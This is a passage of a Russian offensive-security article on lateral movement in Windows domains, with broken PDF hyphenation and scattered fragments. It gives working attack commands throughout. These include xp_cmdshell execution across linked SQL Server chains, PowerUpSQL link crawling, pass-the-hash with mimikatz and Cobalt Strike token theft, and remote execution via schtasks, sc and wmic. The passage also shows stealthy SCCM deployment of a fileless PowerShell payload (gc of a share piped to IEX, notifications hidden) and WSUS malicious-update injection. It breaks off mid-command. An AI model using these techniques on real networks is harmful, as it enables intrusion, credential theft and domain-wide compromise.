шить опе ратор SQL и затем выпол нить тре буемую хра нимую про цеду ру. Ниже
при веден базовый при мер выпол нения про цеду ры с помощью  .

openquery()

openquery()

select 1 from openquery("linkedremoteserver",'select 1;exec master..
xp_cmdshell "dir c:"')

Зап рос не воз вра щает резуль таты  , но, если   вклю‐ 
чен и поль зователь име ет пра ва на его выпол нение, он выпол нит коман ду 
в  опе раци онной  сис теме.  Один  из  прос тых  спо собов  получить  обо лоч ку
в  целевой  сис теме  —  выз вать  PowerShell  (если  этот  коман дный  интер пре‐ 
татор  уста нов лен  в  ОС)  и  передать  бэк коннект  на  обо лоч ку  Meterpreter.
В целом алго ритм дей ствий выг лядит сле дующим обра зом:

xp_cmdshell xp_cmdshell
dir

1. Соз дать  сце нарий  PowerShell  для  выпол нения  сво ей  полез ной  наг рузки
Metasploit, при мер мож но взять  .здесь

2. За коди ровать скрипт в Unicode.
3. За коди ровать в Base64.
4. Вы пол нить  коман ду 

 с помощью  .
powershell  noexit  noprofile  Encoded

Command xp_cmdshell

Ес ли   не вклю чен на свя зан ном сер вере, воз можно, его не удас‐ 
тся вклю чить, даже если ссыл ка нас тро ена с при виле гиями  . Любые
зап росы,  выпол няемые  через  ,  счи тают ся  поль зователь ски ми
тран закци ями,  которые  не  поз воля ют  сде лать  перенас трой ку.  Вклю чение

  с  помощью    не  изме няет  сос тояние  сер вера
без перенас трой ки, и, сле дова тель но,   оста нет ся отклю чен ным.
Если    вклю чен  для  всех  ссы лок  внут ри  пути  ссыл ки,  мож но  вклю чить

, исполь зуя сле дующий син таксис.

xp_cmdshell
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openquery

xp_cmdshell sp_configure
xp_cmdshell

rpcout
xp_cmdshell

execute('sp_configure "xp_cmdshell",1;reconfigure;') at LinkedServer

Но,  как  уже отме чалось,  rpcout по  умол чанию отклю чен, поэто му он вряд ли
будет работать с длин ными цепоч ками ссы лок.

Схе ма экс плу ата ции извне
Хо тя  ссыл ки на базы дан ных могут  стать неп лохим спо собом повысить при‐ 
виле гии пос ле того, как получен аутен тифици рован ный дос туп к базе дан ных
внут ри сети, более серь езный риск воз ника ет, ког да свя зан ные сер веры дос‐ 
тупны извне.  Те же SQL‐инъ екции очень рас простра нены, и  успешная ата ка
дает  воз можность  выпол нять  про изволь ные  зап росы  SQL  на  сер вере  базы
дан ных. Если соеди нение с базой дан ных веб‐при ложе ния скон фигури рова но
с наимень шими при виле гиями (что про исхо дит доволь но час то), то нет рудно
уве личить раз решения для внут ренней сети, где, веро ятно, рас положен сер‐ 
вер  базы  дан ных.  Одна ко,  как  упо мина лось  ранее,  любому  поль зовате лю,
незави симо  от  его  уров ня  при виле гий,  дос тупны  пред варитель но  нас тро‐ 
енные свя зи меж ду базами дан ных.

На  сле дующем  рисун ке  показан  путь  ата ки  извне.  Най дя  SQL‐инъ екцию
на  сер вере  веб‐при ложе ний,  зло умыш ленник  может  начать  перехо дить
по  ссыл кам  DB1 →  DB2 →  DB3 →  DB4.  И  пос ле  получе ния  раз решений

  на  DB4  он  может  выпол нить  xp_cmdshell,  что бы  запус тить  Power‐
Shell и получить бэк коннект.
sysadmin

Схе ма ата ки на свя зан ные базы извне

Та ким  обра зом  зло умыш ленник  получа ет  при виле гии  в  изо лиро ван ном  сег‐ 
менте  кор поратив ной  сети  и  может  пре тен довать  на  ком про мета цию  все го
домена, при этом изна чаль но не имея дос тупа к внут ренней сети.

Как авто мати зиро вать обна руже ние пути экс плу ата ции
Для  авто мати зации  перечис ления  и  обхо да  ссы лок  пос ле  того,  как  пер‐ 
воначаль ный дос туп  к SQL Server получен, мож но при менить  уже  упо минав‐ 
ший ся в пре дыду щих стать ях инс тру мент  .PowerUpSQL

Фун кция    может  исполь зовать ся  для  ска ниро‐ 
вания всех дос тупных путей свя зан ных сер веров, а так же перечис ления вер‐ 
сий прог рам мно го обес печения и при виле гий, с которы ми нас тро ены ссыл ки.
Что бы  запус тить  ,  нуж но  будет  пре дос тавить
информа цию об экзем пля ре базы дан ных для началь ного под клю чения к БД
и  учет ные  дан ные,  исполь зуемые  для  авто риза ции.  По  умол чанию  скрипт
выпол няет ся с исполь зовани ем встро енной аутен тифика ции, но при желании
мож но  ука зать  аль тер натив ные  учет ные  дан ные  домена  и  учет ные  дан ные
SQL Server.

Get‐SQLServerLinkCrawl

Get‐SQLServerLinkCrawl

Для вывода в кон соль вос поль зуем ся коман дой

Get‐SQLServerLinkCrawl ‐verbose ‐instance "[ip‐address]\SQLSER
VER2008"

Для вывода же по сети исполь зуем фун кцию сле дующим обра зом.

Get‐SQLServerLinkCrawl ‐verbose ‐instance "[ip‐address]\SQLSER
VER2008" ‐username 'guest' ‐password 'guest' | Out‐GridView

Ре зуль таты будут вклю чать экзем пляр базы дан ных, информа цию о ее вер сии,
поль зовате ля  ссыл ки,  при виле гии  поль зовате ля  ссыл ки  на  свя зан ном  сер‐ 
вере, путь ссыл ки на сер вер и ссыл ки на каж дый экзем пляр базы дан ных. Свя‐ 
зан ные сер веры, которые недос тупны, помеча ются как нерабо тающие ссыл‐ 
ки.

При мер вывода сети с Get‐SQLServerLinkCrawl

Кро ме  того,    поз воля ет  выпол нять  про изволь ные
зап росы  SQL  на  всех  свя зан ных  сер верах  с  исполь зовани ем  парамет ра 

.   (для выпол нения коман ды) и   (для внед рения
в UNC‐путь) так же могут быть выпол нены с помощью парамет ра  .

Get‐SQLServerLinkCrawl
‐

Query Xp_cmdshell xp_dirtree
‐Query

Get‐SQLServerLinkCrawl ‐instance "[ip‐address]\SQLSERVER2008" ‐Query 
"exec master..xp_cmdshell 'whoami'"
Get‐SQLServerLinkCrawl ‐instance "[ip‐address]\SQLSERVER2008" ‐Query 
"exec master..xp_dirtree '\\[ip]\test'"

Но  сог ласись,  что  вывод  того  же  BloodHound  в  виде  гра фа  свя зей  через
Neo4j  куда  удоб ней для ана лиза и поис ка пути экс плу ата ции,  чем информа‐ 
ция, пред став ленная в виде тек ста. Мож но поп робовать сде лать ана логич ный
граф и для  . Резуль таты 
необ ходимо экспор тировать в файл XML с помощью  .

Get‐SQLServerLinkCrawl Get‐SQLServerLinkCrawl
Export‐Clixml

Get‐SQLServerLinkCrawl ‐verbose ‐instance "[ip‐address]\SQLSER
VER2008" ‐username 'guest' ‐password 'guest' | export‐clixml c:\temp\
links.xml

Эк спор тирован ный файл XML будет затем пре обра зован в файл узла и файл
ссыл ки,  что бы  их  мож но  было  импорти ровать  в  базу  дан ных  Neo4j.  Сле‐ 
дующий  скрипт  соз даст  фай лы  импорта  и  пре дос тавит  необ ходимые  опе‐ 
рато ры   для соз дания гра фа. Оче вид но, что все пути к фай лам жес тко
закоди рова ны  в  PowerShell,  поэто му  их  при дет ся  заменить,  если  ты  запус‐ 
тишь  скрипт.  Пос ледние  (необя затель ные)  опе рато ры  Cypher  соз дают
началь ный узел, с целью ука зать,  где начал ся обход кон тента; ServerID дол‐ 
жен  быть  обновлен  вруч ную,  что бы  он  ука зывал  на  пер вый  SQL  Server,
к которо му был получен дос туп.

Cypher

$List = Import‐CliXml 'C:\temp\links.xml'
$Servers = $List | select name,version,path,user,sysadmin ‐unique | 
where name ‐ne 'broken link'
$Outnodes = @()
$Outpaths = @()
foreach($Server in $Servers){
   $Outnodes += "$([string][math]::abs($Server.Name.GetHashCode())),
$($Server.Name),$($Server.Version)"
   if($Server.Path.Count ‐ne 1){
       $Parentlink = $Server.Path[‐2]
       foreach($a in $Servers){
           if(($a.Path[‐1] ‐eq $Parentlink) ‐or ($a.Path ‐eq $Parent
link)){
               [string]$Parentname = $a.Name
               break
           }
       }
       $Outpaths += "$([math]::abs($Parentname.GetHashCode())),$([
math]::abs($Server.Name.GetHashCode())),$($Server.User),$($Server.
Sysadmin)"
   }
}

$Outnodes | select ‐unique | out‐file C:\pathtoneo4j\Neo4j\default.
graphdb\Import\nodes.txt
$Outpaths | select ‐unique | out‐file C:\pathtoneo4j\default.graphdb\
Import\links.txt

<#
[OPTIONAL] Cypher to clear the neo4j database:
MATCH (n)
OPTIONAL MATCH (n)‐[r]‐()
DELETE n,r
‐‐
Cypher statement to create a neo4j graph ‐ load nodes
LOAD CSV FROM "file:///nodes.txt" AS row
CREATE (:Server {ServerId: toInt(row[0]), Name:row[1], Version:row[

2]});
‐‐‐
Cypher statement to create a neo4j graph ‐ load links
USING PERIODIC COMMIT
LOAD CSV FROM "file:///links.txt" AS row
MATCH (p1:Server {ServerId: toInt(row[0])}), (p2:Server {ServerId: 

toInt(row[1])})
CREATE (p1)‐[:LINK {User: row[2], Sysadmin: row[3]}]‐>(p2);
‐‐‐
[OPTIONAL] Cypher statement to create a start node which indicates 
where the crawl started. This is not automated; first node id must 
be filled in manually (i.e. replace 12345678 with the first node's 
id).
CREATE (:Start {Id: 1})

[OPTIONAL] Link start node to the first server
MATCH (p1:Start {Id: 1}), (p2:Server {ServerId: 12345678})
CREATE (p1)‐[:START]‐>(p2);

#>

Ес ли все работа ет хорошо, ты смо жешь прос мотреть гра фик свя зей, исполь‐ 
зуя Neo4j Browser.

Гра фик свя зей сер веров баз дан ных

Свя зан ные сер веры доволь но рас простра нены, и иног да сети свя зан ных сер‐ 
веров содер жат сот ни сер веров баз дан ных. Цель 
сос тоит  в  том,  что бы  пре дос тавить  прос той  и  авто мати зиро ван ный  спо соб
ана лиза мас шта бов этих сетей и лег ко най ти путь боково го дви жения.

Get‐SQLServerLinkCrawl

Продолжение статьи →
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PASS-THE-HASH
О  тех нике  PTH,  как  и  об  оди нако вых  паролях  локаль ных  адми нис тра торов
на компь юте рах домена, уже было рас ска зано во   цик ла ста тей
про Active Directory. Допус тим, про ана лизи ровав некото рые нас трой ки  груп‐ 
повой полити ки, мы выяс нили, что на всех компь юте рах домена име ются оди‐ 
нако вые учет ные дан ные локаль ного адми нис тра тора, и мы смог ли зав ладеть
эти ми  дан ными.  Далее  мы  реша ем  исполь зовать  тех нику  pass‐the‐hash
для дос тупа  к  дру гим машинам в  сети,  что бы выпол нить боковое дви жение.
Для это го мы исполь зуем mimikatz. Если нам известен откры тый пароль, то мы
получа ем  его  хеш  с  помощью  модуля  .  Сде лать  это  мож но
коман дой

вто рой час ти

crypto::hash

crypto::hash /password:[password]

Те перь мож но получить новую кон соль под учет ной записью, для которой мы
выпол няем PTH.

privilege::debug
sekurlsa::pth /ntlm:[hash] /user:admin /domain:.

Од нако пос ле про вер ки дос тупа мы тер пим неуда чу.

Вы пол нение PTH с помощью mimikatz

Де ло  в  том,  что  сущес тву ет  два  иден тифика тора  безопас ности  SID: 
  и 

. Они при меня ются в груп‐ 
повой  полити ке,  что бы  бло киро вать  исполь зование  всех  локаль ных  учет ных
записей  адми нис тра торов  для  уда лен ного  вхо да.  А  про верить,  на  каких
машинах уста нов лены эти огра ниче ния, может любой поль зователь, который
про шел  про вер ку  под линнос ти  в  домене,  прос то  перечис лив  груп повые
полити ки  (о перечис лении  груп повых политик было ска зано в 
это го цик ла).

S‐1‐5‐
113  (NT  AUTHORITY\Local  account) S‐1‐5‐114  (NT  AUTHORITY\Local 
account and member of Administrators group)

пер вой статье

На самом деле нет воз можнос ти передать хеш учет ной записи локаль ного
адми нис тра тора,  который  не  име ет  отно ситель ный  иден тифика тор 
(Local Administrator). Так, для любой учет ной записи локаль ного адми нис тра‐ 
тора без  , уда лен но под клю чающей ся к машине через WMI, PSEXEC
или дру гими метода ми, воз вра щаемый токен «филь тру ется», даже если поль‐ 
зователь явля ется локаль ным адми нис тра тором. Это про исхо дит потому, что
нет  спо соба  уда лен ного  перехо да  в  кон текст,  кро ме  как  через  RDP  (для
которо го тре бует ся пароль в виде откры того тек ста, если не вклю чен режим
Restricted  Admin).  Поэто му,  ког да  поль зователь  пыта ется  получить  дос туп
к при виле гиро ван ному ресур су уда лен но, нап ример к пап ке  , он видит
сооб щение Access  is denied, нес мотря на то что у него есть адми нис тра тив‐ 
ный дос туп.

RID  500

RID 500

ADMIN$

Вдо бавок ко все му, ког да поль зователь, который вхо дит в груп пу локаль‐ 
ных адми нис тра торов на целевом уда лен ном компь юте ре, уста нав лива ет уда‐ 
лен ное адми нис тра тив ное соеди нение, он не под клю чает ся как пол ный адми‐ 
нис тра тор  уда лен ной  сис темы.  У  поль зовате ля  нет  воз можнос ти  повысить
пра ва на уда лен ном компь юте ре, и он не может выпол нять адми нис тра тив ные
задачи.  Если  поль зователь  хочет  адми нис три ровать  рабочую  стан цию
с помощью учет ки дис петче ра учет ных записей безопас ности (SAM), он дол‐ 
жен инте рак тивно вой ти в сис тему на компь юте ре, который адми нис три рует‐ 
ся с помощью уда лен ного рабоче го сто ла (RDP).

Это объ ясня ет,  почему локаль ные  учет ные записи адми нис тра торов  тер‐ 
пят  неуда чу  при  уда лен ном  дос тупе  (кро ме  как  через RDP),  а  так же  почему
учет ные записи домена выпол няют свои опе рации успешно. И хотя Windows
по  умол чанию  отклю чает  встро енную  учет ную  запись  адми нис тра тора 

, ее все же доволь но час то мож но уви деть в иссле дуемых сис темах.
RID 

500
Есть  еще  одна  воз можная  при чина  неуда чи  —  так  называ емый  режим

одоб рения  адми нис тра тором.  Ключ,  который  ука зыва ет  на  этот  режим,  хра‐ 
нит ся в клю че реес тра

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Filter
AdministratorToken

и по умол чанию отклю чен. Одна ко, если этот параметр акти виро ван, учет ная
запись с   зарегис три рова на в UAC. Это озна чает, что уда лен ный PTH
к машине, исполь зующей эту учет ную запись, завер шится неудач но.

RID 500

Ес ли ключ

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalA
ccountTokenFilterPolicy

су щес тву ет  и  име ет  зна чение  1,  тог да  уда лен ным  под клю чени ям  от  всех
локаль ных  адми нис тра торов  пре дос тавля ются  пол ные  мар керы  дос тупа.
Это  озна чает,  что  под клю чения  к  учет ной  записи  без    не  филь тру‐ 
ются!

RID  500

До бав ление необ ходимо го клю ча

Ус пешное под клю чение с PTH

Но как на сво их машинах работа ют локаль ные адми нис тра торы при вклю чен‐ 
ном кон тро ле токена? По умол чанию встро енная учет ная запись адми нис тра‐ 
тора  запус кает  все  при ложе ния  с  пол ными  адми нис тра тив ными  при виле‐ 
гиями, то есть кон троль учет ных записей поль зовате лей фак тичес ки не при‐ 
меня ется.  Поэто му,  ког да  дей ствия  уда лен ного  юзе ра  ини циируют ся
с исполь зовани ем этой учет ной записи, пре дос тавля ется мар кер с пол ными
при виле гиями  (то  есть  без  филь тра ции),  обес печива ющий  над лежащий
адми нис тра тив ный дос туп! И мы можем это исполь зовать.

Сле дующий  спо соб  кра жи  и  прис воения  токена  вос про изве ден
с помощью  . Для начала получим хеш, исполь зовав hashdump.Cobalt Strike

По луче ние хешей с помощью hashdump

Да лее соз дадим про цесс PowerShell.

mimikatz sekurlsa::pth /user:[user] /domain:. /ntlm:[hash] /run:
"powershell ‐w hidden"

PTH с исполь зовани ем mimikatz в Cobalt Strike

Ис поль зуем   для кра жи токена из соз данно го mimikatz про цес са
с извес тным PID.

steal_token

Кра жа токена при помощи steal_token

Те перь  мы  можем  исполь зовать  один  из  нес коль ких  вари антов  боково го
переме щения.

:  зап ланиро вать  запуск  прог раммы  на  уда лен ном  хос те
с  помощью  .  Пер вым  делом  узна ем,  какое  на  хос те  уста нов лено  вре мя,
пос ле чего пла ниру ем выпол нение задачи.

Ва риант  1

at

shell net time \\[address]
shell at \\[address] [HH:MM] [c:\windows\temp\soft.exe]

: запус тить код в целевой сис теме через  .Ва риант 2 schtasks

shell schtasks /create /tn [name] /tr [c:\windows\temp\soft.exe] /sc 
once /st 00:00 /S [address] /RU System
shell schtasks /run /tn [name] /S [address]

:  соз дать  и  запус тить  служ бу  через  .  Коман де  sc  тре бует ся
исполня емый  файл,  который  отве чает  на  коман ды  Service  Control  Manager.
Если  ты  не  пре дос тавишь  ей  такой  исполня емый  файл,  твоя  прог рамма
запус тится и сра зу же зак роет ся. Пос ле экс плу ата ции рекомен дует ся уда лить
служ бу.

Ва риант  3 sc

shell sc \\[address]  create [name] binpath=["c:\windows\temp\
SERVICE.exe"]
shell sc \\[address] start [name]
shell sc \\[address]  delete [name]

, наибо лее рас простра нен ный: задей ство вать  .Ва риант 4 wmic

shell wmic /node:[address] process call create ["c:\windows\temp\
soft.exe"]

Бо ковое переме щение с помощью wmic

В  при мере  выше  мы  заг ружа ем  на  хост  файл  и  запус каем  его  с  помощью
.wmic

SYSTEM CENTER CONFIGURATION MANAGER
System Center  Configuration Manager  (SCCM) —  про дукт  для  управле ния  IT‐
инфраструк турой  и  смеж ными  устрой ства ми.  Он  пре дос тавля ет  сле дующие
основные воз можнос ти:

уп равле ние обновле ниями;•
раз верты вание ПО и опе раци онных сис тем;•
ин тегра ция с NAP;•
ин вента риза ция аппа рат ного и прог рам мно го обес печения;•
уда лен ное управле ние;•
уп равле ние  вир туали зиро ван ными  и  мобиль ными  сис темами  на  базе
Windows.

•

Кро ме  того,  SCCM  поз воля ет  ИТ‐пер соналу  авто мати чес ки  соз давать  сце‐ 
нарии и отправ лять их  кли ентам. Если мы смо жем получить дос туп  к SCCM,
это  ста нет  отличной  плат формой для  пос леду ющих  атак. Он  тес но  интегри‐ 
рован с Windows PowerShell, име ет широкую сетевую видимость и нес коль ко
кли ентов SCCM, спо соб ных выпол нять код с пра вами SYSTEM.

Для исполь зования SCCM в качес тве инс тру мен та для боково го дви жения
пот ребу ется  дос туп  с  повышен ными  пра вами.  Но,  как  уже  было  отме чено,
SCCM име ет широкую сетевую видимость, то есть мы смо жем получить дос‐ 
туп  к  кли ентам‐учас тни кам  даже  из  дру гого  домена.  Для  удобс тва  дос тупа
к кон соли SCCM пред лага ется исполь зовать RDP (к тому же это легитим ное
прог рам мное  обес печение  для  управле ния  в  боль шинс тве  кор поратив ных
сетей, что сни жает риск обна руже ния).

Кон соль SCCM

Для под дер жки фун кции кло ниро вания Active Directory SCCM хра нит объ екты
машин  и  поль зовате лей,  а  так же  сопос тавле ния  меж ду  ними.  Имен но  бла‐ 
года ря  это му  есть  воз можность  кон тро лиро вать  прог рам мное  обес печение
опре делен ных  поль зовате лей.  Что бы  пре дос тавить  дос туп  к  той  или  иной
груп пе юзе ров, SCCM поз воля ет соз давать так называ емые кол лекции. Таким
обра зом,  уста новив  кон троль  над  SCCM,  мы  можем  получить  спи сок  всех
поль зовате лей‐кли ентов  и  их  компь юте ров —  из  них  мы  и  будем  выбирать
цели. Кро ме того, мы можем пос мотреть сущес тву ющие кол лекции или соз‐ 
дать  свои,  что  поз волит  нам  при менять  дей ствия  сра зу  ко  всем  учас тни кам
в кол лекции.

Са мый  популяр ный  у  зло умыш ленни ков  спо соб  исполь зования  фун кций
SCCM — выпол нение кода PowerShell. Так мож но получить бэк коннект‐шелл
и  не  оста вить  сле дов  на  физичес ком  дис ке.  Для  это го  нам  нуж но  иметь
общий ресурс, к которо му выб ранные кли енты могут получить дос туп. На этом
ресур се мы раз меща ем тек сто вый файл, содер жащий код PowerShell.

При мер install.txt с вре донос ным PowerShell‐кодом

Те перь  нам  нуж но  соз дать  при ложе ние  из  меню  Application  Management.
В пер вом окне будет пред ложено  ука зать  тип  уста нов ки при ложе ния. Необ‐ 
ходимо выб рать руч ной режим (Manually specify the application information).

Вы бор типа уста нов ки при ложе ния

Даль ше уста нов ка инту итив но понят на,  глав ное — пом нить, что чем мень ше
информа ции мы ука зыва ем, тем луч ше. Ког да ты дой дешь до раз дела Specify
setting  for  this  deployment  type,  необ ходимо  добавить  новый  тип  раз верты‐ 
вания — в раз деле Type выб рать опцию Script Installer.

Вы бор типа раз верты вания

Пе рехо дим к самой важ ной час ти соз дания при ложе ния — пей лоаду. В этом
раз деле необ ходимо оста вить поле Content Location пус тым. В обыч ных слу‐ 
чаях имен но здесь адми нис тра тор может ука зать рас положе ние фай лов уста‐ 
нов ки при ложе ния. Пос коль ку мы хотим избе жать вза имо дей ствия с дис ком,
мы  не  запол няем  это  поле.  Сле дом  перехо дим  к  полям  Installation  program
и  Installation  start  in.  Здесь  мы  собира емся  раз местить  коман ду,  которая
и будет выпол нять наш пей лоад. Installation program будет выг лядеть при мер‐ 
но так.

cmd.exe /c "powershell.exe ‐ep bypass ‐c 'gc \\имя_сервера \
общий_ресурс \директория_приложения \payload.txt | IEX'"

Кон соль  cmd.exe  исполь зует ся  для  запус ка  PowerShell,  а  затем  с  помощью
 PowerShell  обра тит ся  к 

  и  про чита ет  содер жимое  .  Пос ле  это го  код
переда ется в   для его выпол нения. Это поз воля ет
нам выпол нять  пей лоад на целевом объ екте,  не  заг ружая файл  в фай ловую
сис тему.

Get‐Content (gc) \\sccm2012\sccmsource\Legit‐
Application Install.txt

Invoke‐Expression (iex)

Пос ле  того  как  мы  уста нови ли  прог рамму,  нам  нуж но  ука зать,  где  будет
начинать ся  уста нов ка.  Пос коль ку  в  поле  Installation  program  исполь зует ся
толь ко  ,  SCCM  про сит  нас  уточ нить  рас положе ние  это го  исполня‐ 
емо го  фай ла.  Таким  обра зом,  для  это го  поля  нуж но  выб рать 

.

cmd.exe
C:\Windows\

System32

Ус танов ка при ложе ния

Пос ле  это го мы  перей дем  к  меню Detection Method.  Парамет ры,  ука зан ные
здесь, сооб щат SCCM, как опре делить, уста нов лено на кли енте целевое при‐ 
ложе ние  или  нет.  SCCM  про верит  ука зан ные  парамет ры  перед  уста нов кой
при ложе ния,  что бы  пре дот вра тить  пов торную  уста нов ку.  Пос коль ку  пей лоад
выпол няет ся  в  памяти,  про верять  нечего,  поэто му  мож но  запол нить  поле
фик тивной  информа цией.  Так же  убе дись,  что  ты  уста новил  перек лючатель
в  положе ние  The  file  system  setting must  exist  on  the  target  system  to  indicate
presence of  this  application  (нас трой ка фай ловой  сис темы дол жна  сущес тво‐ 
вать в целевой сис теме, что бы ука зывать на наличие это го при ложе ния).

Ме ню «Метод обна руже ния»

Даль нейшие нас трой ки уста нов ки мож но оста вить по умол чанию. Что бы раз‐ 
вернуть  соз данное  при ложе ние  пос ле  ее  завер шения,  прос то  щел кни
по нему пра вой кноп кой мыши и выбери Deploy (раз вернуть), ука зав при этом
нуж ную кол лекцию. В нас трой ках для вза имо дей ствия с поль зовате лем убе‐ 
дись, что ты скрыл все уве дом ления. Теперь при ложе ние будет ожи дать уста‐ 
нов ки при регис тра ции поль зовате ля, то есть для того, что бы выпол нить пей‐ 
лоад, необ ходимо будет перезаг рузить поль зователь скую машину. Для боль‐ 
шей скрыт ности пос ле завер шения работы пей лоада луч ше уда лить из SCCM
все сле ды.

Вдо бавок ска жу, что есть вари ант работы с SCCM из кон соли. Это очень
удоб но  сде лать  с  помощью  .  Опи сывать  этот  инс тру мент  я
не буду, у него доволь но‐таки под робная докумен тация.

PowerSCCM

Те перь  ты  зна ешь,  как  мож но  исполь зовать  SCCM  для  выяв ления  целей
ата ки  в  сети,  груп пировать  выб ранные  цели  вмес те  и  заг ружать  пей лоад
в  память  одновре мен но  для  всех  выб ранных  целей.  SCCM  неред ко  слу жит
«точ кой  управле ния»  для  боль шинс тва  рабочих  стан ций  на  пред при ятии,
и  из‐за  это го  у  сер вера  SCCM  час то  будет  широкая,  если  не  пол ная
видимость всей сети. Наше при ложе ние пов торно выпол нится на кли ент ских
машинах SCCM пос ле перезаг рузки, что поз волит нам оста вать ся на компь‐ 
юте ре без необ ходимос ти сох ранять файл на дис ке. Таким обра зом, SCCM
пред став ляет собой отличную плат форму для прод вижения по сети без необ‐ 
ходимос ти исполь зования обыч ных методов боково го переме щения.

WINDOWS SERVER UPDATE SERVICES

Продолжение статьи →
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О WSUS
Windows Server Update Services  (WSUS) — это сер вис обновле ний опе раци‐ 
онных  сис тем  и  про дук тов Microsoft.  Сер вер  обновле ний  син хро низи рует ся
с  сай том  Microsoft,  ска чивая  обновле ния,  которые  затем  могут  быть  рас‐ 
простра нены внут ри  кор поратив ной  локаль ной сети. Это  эко номит  внеш ний
тра фик  ком пании  и  поз воля ет  быс трее  уста нав ливать  исправ ления  оши бок
и уяз вимос тей в опе раци онных сис темах Windows на рабочих мес тах, а так же
дает  воз можность  цен тра лизо ван но  управлять  обновле ниями  сер веров
и рабочих стан ций. Он прост в исполь зовании и уста нов ке, и его мож но адап‐ 
тировать в  соот ветс твии с раз личны ми пра вила ми для  каж дой орга низа ции.
Одна ко неп равиль ное исполь зование его фун кций может иметь кри тичес кое
зна чение для безопас ности сети.

Для  ком про мета ции  дан ной  служ бы  соз дан  инс тру мент  под  наз вани ем
.  Одна ко  зло умыш ленник  не  всег да  смо жет  исполь зовать  этот

инс тру мент.  Дело  в  том,  что  WSUSpendu  при меня ет  метод  пря мого  внед‐ 
рения  обновле ний  в  служ бу  WSUS,  а  не  в  сетевой  поток,  что бы  избе жать
сетевых  огра ниче ний.  Глав ная  проб лема  при  ауди те  управле ния  обновле‐ 
ниями  зак люча ется  в  сбо ре  сос тояний  обновле ний  в  каж дой  сис теме.  Эти
сос тояния  дол жны  быть  сог ласован ными.  Пря мой  дос туп  к  сер веру  WSUS
поз воля ет нам обой ти эти огра ниче ния.

WSUSpendu

На ибо лее  рас простра нен ная  кон фигура ция  сети  —  та,  где  есть  толь ко
один сер вер обновле ний. Этот сер вер обновля ет свои собс твен ные кли енты
и под клю чает ся к интерне ту для получе ния обновле ний от сер веров Microsoft.
Связь меж ду сер вером WSUS и сер верами Цен тра обновле ния Windows дол‐ 
жна исполь зовать про токол HTTPS (эти кон фигура ции недос тупны для редак‐ 
тирова ния). Сер вер WSUS про веря ет сер тификат SSL, что бы исклю чить заг‐ 
рузку  вре донос ных  обновле ний  через  под делку  легитим ных  сер веров.  Кли‐ 
енты  получа ют  свои  обновле ния  на  сер вере  WSUS  в  соот ветс твии  с  кон‐ 
фигура цией  сер вера:  исполь зуя  про токол  HTTPS,  если  сер вер  нас тро ен
с исполь зовани ем SSL, или про токол HTTP, если нет.

Прос тая архи тек тура WSUS

Боль шая орга низа ция, ско рее все го, будет исполь зовать нес коль ко сер веров
WSUS. В этом слу чае при меня ется дре вовид ная архи тек тура. Глав ный сер вер
под клю чен к интерне ту. Дру гие сер веры WSUS (реп ликации) рас простра няют
обновле ния  для  одно го  сег мента  или  одной  под сети.  Так же  воз можно
исполь зовать  этот  вид  архи тек туры  с  авто ном ной  сис темой.  В  этом  слу чае
обновле ния копиру ются, но при меня ются авто мати чес ки.

Дре вовид ная архи тек тура WSUS

Эти  две  архи тек туры  рекомен дуют ся  Microsoft.  Одна ко  их  недос таточ но
для некото рых орга низа ций, и там в сетях мож но наб людать две дру гие архи‐ 
тек туры.  Пер вая  час то  встре чает ся  в  отно ситель но  круп ных  ком пани ях:  она
име ет  нес коль ко  доменов  или  лесов,  которые  не  обя затель но  свя заны
довери тель ными отно шени ями Active Directory. В этих архи тек турах мы час то
видим общие сер веры для фун кций под дер жки. Хотя домены не име ют отно‐ 
шений, сер веры обновле ний час то име ют общую ссыл ку: сер вер WSUS одно‐ 
го из доменов исполь зует ся в качес тве ссыл ки на сер вер WSUS дру гой сети.

Ар хитек тура WSUS со свя зан ными сер верами в раз ных доменах

Для  всех  этих  архи тек тур  мож но  вруч ную  уста нав ливать  любые  обновле ния
прог рам мно го  обес печения,  пред ложен ные  Microsoft.  Но  так же  воз можно
авто мати чес кое  при мене ние  обновле ний  в  соот ветс твии  с  опре делен ными
кри тери ями. При уста нов ке WSUS соз дает ся пра вило, которое по умол чанию
отклю чено  и  поз воля ет  при  акти вации  авто мати чес ки  при нимать  уста нов ку
всех «кри тичес ких» или «безопас ных» обновле ний на кли ентах WSUS.

Ата ка на WSUS
Су щес тву ет  нес коль ко  атак  на  механизм  обновле ния  Windows. 

 Что бы ата ка WSUSpect
сра бота ла, кли ент дол жен исполь зовать машину зло умыш ленни ка в качес тве
прок си. Один из спо собов выпол нения этой ата ки — для неп ривиле гиро ван‐ 
ного  поль зовате ля  на  кли енте  уста новить  прок си‐сер вер.  Дру гой  спо соб
выпол нить эту ата ку — исполь зовать про токол WPAD. WSUSpect перех ватыва‐ 
ет зап рос на обновле ние от  кли ента и вме шива ется в него,  что бы добавить
свое вре донос ное обновле ние.

Все  ата ки

работа ют толь ко меж ду сер вером и кли ентом.

От вет сер вера изме няют, встав ляя метадан ные и дво ичные фай лы, что бы
попытать ся  выпол нить  про изволь ный  код  на  кли енте.  Но  дело  в  том,  что
на локаль ном компь юте ре будет про вере на под пись. С этой кон фигура цией
невоз можно изме нить обновле ние,  добавив  в  него про изволь ный дво ичный
файл.  Тем  не  менее  аргу мен ты  коман ды  не  вклю чены  в  про вер ку  под писи.
Таким  обра зом,  мож но  изме нять  аргу мен ты  дво ично го  фай ла  (к  при меру
cmd.exe, wmic.exe) для выпол нения некото рых команд. Но под писи к дан ным
фай лам  не  хра нят ся,  а  хра нят ся  под писи  к  катало гу  с  эти ми  фай лами,  что
не  поз волит  передать  им  аргу мент.  Одна ко  бла года ря  под дер жке Microsoft
Sysinternals есть под писи для фай лов из дан ного пакета, в час тнос ти PsExec.

WSUSpendu может раз верты вать обновле ния, соз давать и уда лять груп пы
WSUS, наз начать компь юте ры груп пам и уда лять обновле ния. Скрип ту нуж но
ука зать PsExec или BgInfo, так как толь ко эти прог раммы под писаны Microsoft
и могут  выпол нять про изволь ные  коман ды в  любых сис темах Windows. Сце‐ 
нарий  при нима ет  аргу мен ты  для  дво ично го  фай ла  в  качес тве  парамет ра
и  авто мати чес ки  внед ряет  выб ранные  дво ичные  и  спе циаль но  соз данные
метадан ные  в  базу  дан ных.  Сце нарий  PowerShell,  а  так же  выб ранный  дво‐ 
ичный файл  необ ходимо  заг рузить  на  сер вер WSUS  для  локаль ного  выпол‐ 
нения.

PS> .\Wsuspendu.ps1 ‐Inject ‐PayloadFile .\PsExec.exe ‐PayloadArgs 
